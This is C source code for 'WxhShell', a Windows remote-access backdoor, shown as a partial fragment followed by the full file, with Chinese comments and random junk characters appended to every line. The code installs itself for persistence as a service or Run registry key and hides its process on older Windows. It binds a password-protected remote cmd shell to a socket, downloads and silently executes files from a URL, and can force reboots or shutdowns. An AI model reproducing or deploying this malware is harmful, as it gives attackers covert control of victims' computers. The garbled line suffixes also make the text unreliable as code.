    if(Boot(SHUTDOWN)) $j)hNWI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2AVc? 9@  
    else { XN,,cU  
    closesocket(wsh); F^!mI7Z|(2  
    ExitThread(0); mKq"3 4F  
    } M`D$!BJr  
    break; 2i|B=D(  
    } %]p6Kn/>  
  // 获取shell c<+;4z  
  case 's': { %f8Qa"j  
    CmdShell(wsh); @U -$dw'4  
    closesocket(wsh); +rWZ|&r%  
    ExitThread(0); G%# 05jH  
    break; TOLl@p]lU  
  } *R % wUi  
  // 退出 N_75-S7Cm  
  case 'x': { # fhEc;t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^%y`u1ab  
    CloseIt(wsh); {F|48P;J  
    break; .I$}KE)  
    } ^;F{)bmu+)  
  // 离开 ;HOPABWz)  
  case 'q': { j;K#]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *@V*~^V"J[  
    closesocket(wsh); VSOz.g>  
    WSACleanup(); vuz4qCQ  
    exit(1); 1@XgTL4  
    break; !.fw,!}hOD  
        } `"k9wC1  
  } 6@4n'w{"  
  } `#IcxweA  
|dadH7  
  // 提示信息 V:bV ?lt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |Y_ -  
} UBO^EVJ  
  } U/qE4u1J6M  
]B9 ^3x[:  
  return; ?TEK=mD#u  
} -T/W:-M(  
[6(Iwz?  
// shell模块句柄 G%TL/Z40  
int CmdShell(SOCKET sock) Ua*&_~7kJ  
{ !D.0 (J  
STARTUPINFO si; 6xgv:,  
ZeroMemory(&si,sizeof(si)); BQ05`nkF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^&c$[~W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hv)7H)|l~]  
PROCESS_INFORMATION ProcessInfo; Sav`%0q?7a  
char cmdline[]="cmd"; G@d`F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); . gZZCf&?  
  return 0; N b3$4(F  
} & 7QH^  
8V4V3^_xs  
// 自身启动模式 /c+)C"  
int StartFromService(void) ; 7G_f  
{ #\If]w*j  
typedef struct %hT4qzJj  
{ aW5~Be$ _  
  DWORD ExitStatus; qJ[@:&:  
  DWORD PebBaseAddress; 9EF~l9`'U  
  DWORD AffinityMask; L~FTr  
  DWORD BasePriority; ACBQ3   
  ULONG UniqueProcessId; BH:  
  ULONG InheritedFromUniqueProcessId; r>qA $zD^  
}   PROCESS_BASIC_INFORMATION; _LfHs1g4  
Jme%  
PROCNTQSIP NtQueryInformationProcess; [^PCm Z6n  
@Hr+/52B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?p8k{N(1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r!/0 j)  
.?#uxd~>  
  HANDLE             hProcess; dU;upS_-  
  PROCESS_BASIC_INFORMATION pbi; w4MwD?i]R  
@eQld\h'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VTh$a_P>  
  if(NULL == hInst ) return 0; 5A_4\YpDR  
"zV']A>4H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?9U:g(v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @Y' I,e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [wcA.g*F  
oP$kRfXS!<  
  if (!NtQueryInformationProcess) return 0; Z}cIA87U  
j.c8}r&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L]zNf71RD  
  if(!hProcess) return 0; A1JzW)B  
_dmL}t-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s j9D  
Da,&+fZI!  
  CloseHandle(hProcess); x% XT2+  
;A^K_w'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |"}4*V_*  
if(hProcess==NULL) return 0; q6[}ydV  
P79R~m`  
HMODULE hMod; V;[p438o  
char procName[255]; Lk(S2$)*  
unsigned long cbNeeded; 2bA#D%PHD  
mCb 9*|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));   8Uj:  
{ R*Y=Ie  
  CloseHandle(hProcess); 6/y* 2z;  
$j`<SxJ>  
if(strstr(procName,"services")) return 1; // 以服务启动 _.f@Y`4d  
Hcl"T1N*  
  return 0; // 注册表启动 o`U|`4,  
} F_PTMl=Q|J  
@P70W<<  
// 主模块 OJ[rj`wrW^  
int StartWxhshell(LPSTR lpCmdLine) A +!sD5d  
{ Gc5VQ^]  
  SOCKET wsl; G)+Ff5e0L[  
BOOL val=TRUE; h;n\*[fDc  
  int port=0; ]%XK)[:5_=  
  struct sockaddr_in door; EX 9Z{xX  
W'G{K\(/  
  if(wscfg.ws_autoins) Install(); Nu. (viQ}  
-931'W[s,  
port=atoi(lpCmdLine); |e"/Mf[  
OWV/kz5'H  
if(port<=0) port=wscfg.ws_port; [#X|+M&u6  
Dm4B  
  WSADATA data; F^sw0 .b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h3t$>vs2F"  
j#o3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %AgA -pBp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *SGlqR['\e  
  door.sin_family = AF_INET; D{svR-~T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eYDgEM  
  door.sin_port = htons(port); 00,9azs  
BQU/QoDY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pDhY%w#  
closesocket(wsl); lu3.KOD/  
return 1; r9 ;`  
} |J?:91  
,9UCb$mh  
  if(listen(wsl,2) == INVALID_SOCKET) { zn[QvY  
closesocket(wsl); '8Qw:fh  
return 1; !Ud:?U  
} E.#6;HHzN  
  Wxhshell(wsl); Xv*}1PZH  
  WSACleanup(); )[ w&C_>]  
\Jf9npz3  
return 0; 9mm2Vps;  
O99mic  
} x.G"D(  
4a 4N C  
// 以NT服务方式启动 B<C&ay  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /.2u.G  
{ iha9!kf  
DWORD   status = 0; :s-EG;.  
  DWORD   specificError = 0xfffffff; >@:667i,`  
y;,y"W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EJ8I[(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z1}1*F"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B{=009.  
  serviceStatus.dwWin32ExitCode     = 0; 2mLUdx~c  
  serviceStatus.dwServiceSpecificExitCode = 0; Z{#"-UG  
  serviceStatus.dwCheckPoint       = 0; NJ>,'s  
  serviceStatus.dwWaitHint       = 0; Za9$Hh/X  
:r^klJ(m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @4&, #xo  
  if (hServiceStatusHandle==0) return; p~FQcW'a~  
~ ;XYwQ"  
status = GetLastError(); >Pyc[_j  
  if (status!=NO_ERROR) a.CF9m5]c  
{ D8EeZUqU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O*ImLR)i+s  
    serviceStatus.dwCheckPoint       = 0; 1M=   
    serviceStatus.dwWaitHint       = 0; 3~:0?Zuq  
    serviceStatus.dwWin32ExitCode     = status; t,1in4sN  
    serviceStatus.dwServiceSpecificExitCode = specificError; "kU>~~y,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~r PYJ  
    return; G#'Q~N  
  } drs-mt8  
Vl4Z_viNH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E0T&GR@.  
  serviceStatus.dwCheckPoint       = 0; j;G[%gi6{  
  serviceStatus.dwWaitHint       = 0; L2d:.&5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @$EjD3Z-  
} yqYhe-"  
8Kk3_ y  
// 处理NT服务事件,比如:启动、停止 ^pN 5NwC5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OH0S2?,{>  
{ FQ0KU b}0  
switch(fdwControl) ~JAjr(G#o  
{ /=q.tDH=I  
case SERVICE_CONTROL_STOP: F G3Sk!O6  
  serviceStatus.dwWin32ExitCode = 0; ,zD_% ox  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; * *.:)  
  serviceStatus.dwCheckPoint   = 0; h)^dB,~  
  serviceStatus.dwWaitHint     = 0; jp% +n  
  { w LpkUa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }$<^wt  
  } k06xz#pL  
  return; rNZO.qij z  
case SERVICE_CONTROL_PAUSE: T0YDfo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^DzL$BX  
  break; 64h_1,U  
case SERVICE_CONTROL_CONTINUE: kq>GMUl~@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ny.*G@&  
  break; _yNT=#/  
case SERVICE_CONTROL_INTERROGATE: fEB195#@9  
  break; z;[gEA+I  
}; L 43`^;u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ut]2`8-  
} >dyhox2*"  
eN2dy-0  
// 标准应用程序主函数 G l_\Vy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A*a7\id!y  
{ FOeVRq:#  
"Wo.8  
// 获取操作系统版本  oHOW5  
OsIsNt=GetOsVer(); Q!YF!WoBX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0r0c|*[+4z  
\QliHm!  
  // 从命令行安装 El'yiJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 75kKDR}6  
<{E;s)hD?  
  // 下载执行文件 J6eJIKK  
if(wscfg.ws_downexe) { w2 /* `YO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g})6V  
  WinExec(wscfg.ws_filenam,SW_HIDE); '!Hhd![\=|  
} u1tq2"D8  
P@2tR5<R  
if(!OsIsNt) { ZH_FA  
// 如果时win9x,隐藏进程并且设置为注册表启动 bo&\3  
HideProc(); {,i=>%X*  
StartWxhshell(lpCmdLine); `b#/[3  
} `'*F 1F  
else 2H[=l Y  
  if(StartFromService()) D!X>O}  
  // 以服务方式启动 "Ys_ \  
  StartServiceCtrlDispatcher(DispatchTable); 'G<}U343=8  
else >~h>#{&  
  // 普通方式启动 L^3~gM"!  
  StartWxhshell(lpCmdLine); 3b+7^0frY#  
l8er$8S}  
return 0; 8oa)qaG1  
} ZyHIMo|  
tB GkRd!  
wTHK=n\i  
s`;0 t YG  
=========================================== jaK'W  
a ZI>x^X  
#!w:_T%  
{An8/"bv}  
4sj9Z:  
+Y^-e.UO  
" 'uPxEu4 >4  
Rl y jOf{0  
#include <stdio.h> l?})_1v,R  
#include <string.h> |.y>[+Qb*  
#include <windows.h> L& I` #  
#include <winsock2.h> b;Hm\aK  
#include <winsvc.h> :/>7$)+  
#include <urlmon.h> |)28=Z|Z  
}Vs~RJM)}  
#pragma comment (lib, "Ws2_32.lib") \k|_&hG  
#pragma comment (lib, "urlmon.lib") -zPm{a  
Dm>T"4B`/  
#define MAX_USER   100 // 最大客户端连接数 Z"l`e0 {  
#define BUF_SOCK   200 // sock buffer 6].yRNy"  
#define KEY_BUFF   255 // 输入 buffer 01&*`0?  
iSOD&J_  
#define REBOOT     0   // 重启 UVc>i9,0  
#define SHUTDOWN   1   // 关机 PZKbnu  
[Xs}FJ  
#define DEF_PORT   5000 // 监听端口 WH{cJ7wCL  
\#uqD\DE  
#define REG_LEN     16   // 注册表键长度 +A'}PXm*tu  
#define SVC_LEN     80   // NT服务名长度 v>JB rIb$  
'u4}t5Bu5  
// 从dll定义API ;X+G6F'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }UyzM y,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h{Oz*Bq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6>@(/mh*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J%:WLQo  
bk/.<Rt  
// wxhshell配置信息 +<'uw  
struct WSCFG { NFdJb\  
  int ws_port;         // 监听端口 w;lx:j!Vp$  
  char ws_passstr[REG_LEN]; // 口令 O4lxeiRgC  
  int ws_autoins;       // 安装标记, 1=yes 0=no )fxo)GS  
  char ws_regname[REG_LEN]; // 注册表键名 1i5 vW-'4  
  char ws_svcname[REG_LEN]; // 服务名 L@C >-F|p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #cw! &  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A>qd2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1gF*Mf_7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V_NjkyI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w:m'uB%W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ],BJ}~v,X  
Xulh.: N}  
}; vS~AxeW/7R  
F7k4C2r  
// default Wxhshell configuration C\;;9  
struct WSCFG wscfg={DEF_PORT, fMWXo)rzj  
    "xuhuanlingzhe", (1j(* ?2  
    1, @/_XS4  
    "Wxhshell", hXV4$Dai  
    "Wxhshell", vG'vgUo  
            "WxhShell Service", &M!4]p ow  
    "Wrsky Windows CmdShell Service", )OARO  
    "Please Input Your Password: ", -=-x>(pRW7  
  1, ;n yB  
  "http://www.wrsky.com/wxhshell.exe", R*JOiVAC  
  "Wxhshell.exe" S#dyRTmI  
    }; , I[^3Fn  
,gAr|x7_  
// 消息定义模块 jK ?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [+ %p!T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a(Gk~vD;"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]=$-B  
char *msg_ws_ext="\n\rExit."; pHI%jHHJ  
char *msg_ws_end="\n\rQuit."; :vn0|7W4  
char *msg_ws_boot="\n\rReboot..."; UQC'(>.}  
char *msg_ws_poff="\n\rShutdown..."; dg!1wD   
char *msg_ws_down="\n\rSave to "; ')C _An>X6  
i~v@  
char *msg_ws_err="\n\rErr!"; [8V(N2  
char *msg_ws_ok="\n\rOK!"; TE*>a5C|  
#Pe\Z/  
char ExeFile[MAX_PATH]; kphy7> Km  
int nUser = 0; zJB+C=]D7H  
HANDLE handles[MAX_USER]; Z'*G'/*  
int OsIsNt; M]8eW  
|-SI(Khjk  
SERVICE_STATUS       serviceStatus; jzu l{'g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z1}tC\9'%  
4YU1Kr4  
// 函数声明 @O  @|M'  
int Install(void); d\1:1ucV  
int Uninstall(void); j`LT`p"9S  
int DownloadFile(char *sURL, SOCKET wsh); |Oj,S|Z:  
int Boot(int flag); t<KEx^gb  
void HideProc(void); EkfGw/WDw  
int GetOsVer(void); ^c;skV&S  
int Wxhshell(SOCKET wsl); (&N$W&  
void TalkWithClient(void *cs); Sgjr4axu  
int CmdShell(SOCKET sock); iTKG,$G  
int StartFromService(void); o'= [<  
int StartWxhshell(LPSTR lpCmdLine); 2vW,.]95M  
e+]YCp[(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 37ri b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8V53+]c$Y  
skmDsZzw  
// 数据结构和表定义 P /f ~  
SERVICE_TABLE_ENTRY DispatchTable[] = h!JjN$  
{ E| 8s2t  
{wscfg.ws_svcname, NTServiceMain}, X*p:&=o  
{NULL, NULL} #nMP (ShK  
}; hg86#jq%  
|Ls&~'ik  
// 自我安装 Is,*qrl :  
int Install(void) RY'\mt"W2  
{ ^q4:zZZ  
  char svExeFile[MAX_PATH]; '%JMnU  
  HKEY key; RmCn&-i  
  strcpy(svExeFile,ExeFile); 5.+$v4  
+Fkx")  
// 如果是win9x系统,修改注册表设为自启动 *$WiJ3'(m  
if(!OsIsNt) { ?tal/uC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `rOe5Zp$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;M(ehX  
  RegCloseKey(key); $48[!QE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i,U-H\p&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^/5E773  
  RegCloseKey(key); ^*owD;]4_  
  return 0; Wpg?%+Y  
    } Z?G 3d(YT  
  } 01SFOPuR%(  
} 9g^./k\8%  
else { N#xM_Mpt  
.Q6{$Y%l  
// 如果是NT以上系统,安装为系统服务 '!|E+P-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ogh2kht  
if (schSCManager!=0) Tl0+Bq  
{ =tvm=  
  SC_HANDLE schService = CreateService A`r$fCt1Vi  
  ( E%v[7 ST  
  schSCManager, [wpt[zG  
  wscfg.ws_svcname, (*^E7 [w  
  wscfg.ws_svcdisp, c9_4 ohB  
  SERVICE_ALL_ACCESS, d+$[EDix  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -%QEzu&  
  SERVICE_AUTO_START, Wf&G9Be?8  
  SERVICE_ERROR_NORMAL, fb S.  
  svExeFile, (}7o a9Q<  
  NULL, \FaB!7*~  
  NULL, 4j=@}!TBt  
  NULL, #@OKp,LJ  
  NULL, &hM,b!R|  
  NULL -QHzf&D?  
  ); B'#gs'fl  
  if (schService!=0) f@V{}&ZWp  
  { ,:Y=,[n  
  CloseServiceHandle(schService); =S?-=jPtg  
  CloseServiceHandle(schSCManager); u BW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ml_:Q]kl^  
  strcat(svExeFile,wscfg.ws_svcname); P^{`d_[K%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^SL}wC x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]a@v)aa-  
  RegCloseKey(key); ]MH \3g;  
  return 0; [7t0[U~3?  
    } B2+_F"<;  
  } q~A|R   
  CloseServiceHandle(schSCManager); uS+b* :  
} fqp7a1qQl  
} FK,r<+h  
0BU:(o&  
return 1; h"%,eW|^  
} YUE 1 '}  
hE3jb.s(>  
// 自我卸载 qcoZ2VJ hh  
int Uninstall(void) oeqJ?1=!  
{ w})&[d  
  HKEY key; W SeRV?+T  
$F'~^2  
if(!OsIsNt) { ok=E/77`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nd9-3W  
  RegDeleteValue(key,wscfg.ws_regname); IU"!oM^  
  RegCloseKey(key); '2B0D|r"a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y(;[L`"  
  RegDeleteValue(key,wscfg.ws_regname); KgkB)1s@n  
  RegCloseKey(key); LSOwa  
  return 0; 3 mMdq*X5  
  } a*ixs'MJ  
} Y&Nv>o_}5  
} }lbx  
else { gZuR4Ti  
N pIlQaMo4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F u=VY{U4  
if (schSCManager!=0) i3\oy`GJ  
{ E52:c]<'m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m>m`aLrnb  
  if (schService!=0) tbt9V2U:"n  
  { 63\>MQcLy  
  if(DeleteService(schService)!=0) { ,kuFTWB  
  CloseServiceHandle(schService); ="*C&wB^  
  CloseServiceHandle(schSCManager); \fGYJ37  
  return 0; 9#ay(g  
  } < 2r#vmM  
  CloseServiceHandle(schService); =>TtX@Q{  
  } $TUC?e9"h  
  CloseServiceHandle(schSCManager); mi3q1npb7[  
} 8XXTN@&,  
} -^%"w  
RB 0j!H:  
return 1; = ~R3*GN  
} >?\ !k c  
O4+w2'.,  
// 从指定url下载文件 Ki 6BPi^  
int DownloadFile(char *sURL, SOCKET wsh)  6}ewBAq%  
{ /IR5[67  
  HRESULT hr; ~wV98u-N  
char seps[]= "/"; vTa23YDW  
char *token; ]-]@=qYu  
char *file; 206jeH9  
char myURL[MAX_PATH]; '<j p.sZQ  
char myFILE[MAX_PATH]; Gf$>!zXr  
ojI"<Q~g  
strcpy(myURL,sURL); v*p)"J *  
  token=strtok(myURL,seps); tz> X'L  
  while(token!=NULL) 0{@Ovc  
  { M%LwC/h:,  
    file=token; R1rfp;   
  token=strtok(NULL,seps); p_ y*-,W (  
  } B#lj8I^|  
%bETr"Xom  
GetCurrentDirectory(MAX_PATH,myFILE); )%W2XvG  
strcat(myFILE, "\\"); $e,!fB;B  
strcat(myFILE, file); x=<>%m5R  
  send(wsh,myFILE,strlen(myFILE),0); sm <kb@g  
send(wsh,"...",3,0); F}mwQ%M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t$Ji{t-  
  if(hr==S_OK) Z%d4V<fn  
return 0; ]nGA1S{  
else "s^@PzQpN  
return 1; ;^SgV   
3W00,f^9  
} KV(W|~+rM  
LA3,e (e  
// 系统电源模块 T"lqPbK  
int Boot(int flag) MO+0]uh:  
{ Ft>8 YYyU  
  HANDLE hToken; l"g%vS,;`  
  TOKEN_PRIVILEGES tkp; "TCbO`mg  
e 2&i  
  if(OsIsNt) { KAaeaiD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `qEm5+`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DEuW'.o>  
    tkp.PrivilegeCount = 1; !KW)*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z{_Vn(Kg   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TuR?r`P%  
if(flag==REBOOT) { FC .-u"V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SQvB)NOw  
  return 0; EnAw8Gm*  
} qWK7K%-$ E  
else { TUCp mj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2o}FB\4^i  
  return 0; 2(xKE_|  
} 5,fzB~$TX(  
  } b .@dUuKz-  
  else { K~N[^pF  
if(flag==REBOOT) { H*<dte<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U}TQXYAg  
  return 0; wYM{x!D  
} +#9 (T  
else { LLN^^>5|l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) msJn;(Pn  
  return 0; i oQlC4Y  
} G*V 7*KC  
} Sv",E@!f  
At:C4>HE@  
return 1; x=+H@YO\  
} !9Ni[8&Fg0  
bsDUFXH]  
// win9x进程隐藏模块 J?DyTs3 Z  
void HideProc(void) )8PL7P84  
{ S}yb~uc,  
VUhu"h@w%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AX?6Q4Gq1  
  if ( hKernel != NULL ) oDK\v8w-  
  { 7qp|Msf},  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )f|6=x4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); < ,n4|z)  
    FreeLibrary(hKernel); WVFy ZpB  
  } }7^*%$  
j R:Fih-}  
return; /pEki g7M  
} \|s/_35(  
:a`m9s 4  
// 获取操作系统版本 HRh".!lxy  
int GetOsVer(void) o$;x[US  
{ 6jA Q  
  OSVERSIONINFO winfo; 4Yk (ldR~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OC.@C}u  
  GetVersionEx(&winfo); M1\/ueOe  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cQb%bmBc5  
  return 1; *?\Nioii  
  else <#Dc(VhT  
  return 0; ppS`zqq $  
} J(GLPCO$K  
l1-FL-1  
// 客户端句柄模块 >^}z  
int Wxhshell(SOCKET wsl) ~{{:-XkVB  
{ |M&/( 0  
  SOCKET wsh; %hh8\5l.:  
  struct sockaddr_in client; ~CscctD{;  
  DWORD myID; ?U[AE -*  
W@Wh@eSb;  
  while(nUser<MAX_USER) 6OUj c  
{ irS62Xe  
  int nSize=sizeof(client); [0emOS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 75ob1h"  
  if(wsh==INVALID_SOCKET) return 1; 1:8: yFV  
=XB)sC%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ce\-oT  
if(handles[nUser]==0) I_Qnq4Sk(  
  closesocket(wsh); 4)z](e$  
else Q2uE_w`B  
  nUser++; V2X(f6v  
  } -fv.ByyA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J %t1T]y~  
jrR~V* :k  
  return 0; ycN_<  
} I._=q  
i)ctrdP-  
// 关闭 socket =r2d{  
void CloseIt(SOCKET wsh)  ?auiq  
{ fy eS )  
closesocket(wsh); ]Ea6Z  
nUser--; .nN7*))Fj  
ExitThread(0); OWzIea@  
} 82<!b]^1  
pY@+.V`a  
// 客户端请求句柄 ;f?bb*1  
void TalkWithClient(void *cs) kaLRI|hC  
{ L.'N'-BV  
~Q0}>m,S  
  SOCKET wsh=(SOCKET)cs; Yv)/DsSyL  
  char pwd[SVC_LEN]; Et (prmH  
  char cmd[KEY_BUFF]; DDEn63{  
char chr[1]; Syb:i(Y  
int i,j; jn'8F$GU  
z&8#1'  
  while (nUser < MAX_USER) { ?.H*!u+9>  
j(rFORT  
if(wscfg.ws_passstr) { 53c6dl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gQ[4{+DSf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %WR  
  //ZeroMemory(pwd,KEY_BUFF); - U|4`{PP  
      i=0; s] qfLC  
  while(i<SVC_LEN) { C*$/J\6xy  
D+U^ pl-  
  // 设置超时 _\6-]  
  fd_set FdRead; ,3K?=e2  
  struct timeval TimeOut; AWzpk }\  
  FD_ZERO(&FdRead); :c>,=FUT  
  FD_SET(wsh,&FdRead); M:~#"lfK  
  TimeOut.tv_sec=8; ]KmYPrCl0  
  TimeOut.tv_usec=0; B4?P"|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #{(rOb6H)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 711 z-  
Ni`qU(I'|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1/ HofiIa  
  pwd=chr[0]; JQb]mU%?  
  if(chr[0]==0xd || chr[0]==0xa) { udB}`<Q  
  pwd=0; VC@o]t5  
  break; eP)RP6ON{  
  } *QLbrR  
  i++; q^s$4q  
    } Ugn"w E  
nsPM`dz/  
  // 如果是非法用户,关闭 socket {_Y\Y&#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  : 2?du  
} `?)i/jko"  
1DX=\BWp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TS;MGi0`}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y~\z_') <>  
B\6\QQ;rUo  
while(1) { hE;  
pJmn;XbME  
  ZeroMemory(cmd,KEY_BUFF); \%)p7PNY  
ojaZC,}  
      // 自动支持客户端 telnet标准   B\Uj  
  j=0; gP} M\3-O  
  while(j<KEY_BUFF) { ,T]okN5uI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $I.'7 &h;  
  cmd[j]=chr[0]; 5b&'gd^d  
  if(chr[0]==0xa || chr[0]==0xd) { 30<^0J.1  
  cmd[j]=0; bV"0}|A~K  
  break; :KQ<rLd  
  } uwbj`lpf  
  j++; 7L!k9"X`0F  
    } @'S-nn,sO  
"m!Cl-+u  
  // 下载文件 TPrwC~\B/  
  if(strstr(cmd,"http://")) { 6wGf47  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NTV0DkX  
  if(DownloadFile(cmd,wsh)) %bAv.'C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \t}!Dr+yN  
  else bNXT*HOZb3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `18G 5R  
  } Agl[Z>Q  
  else { sV-9 xh)i  
LB>!%Vx  
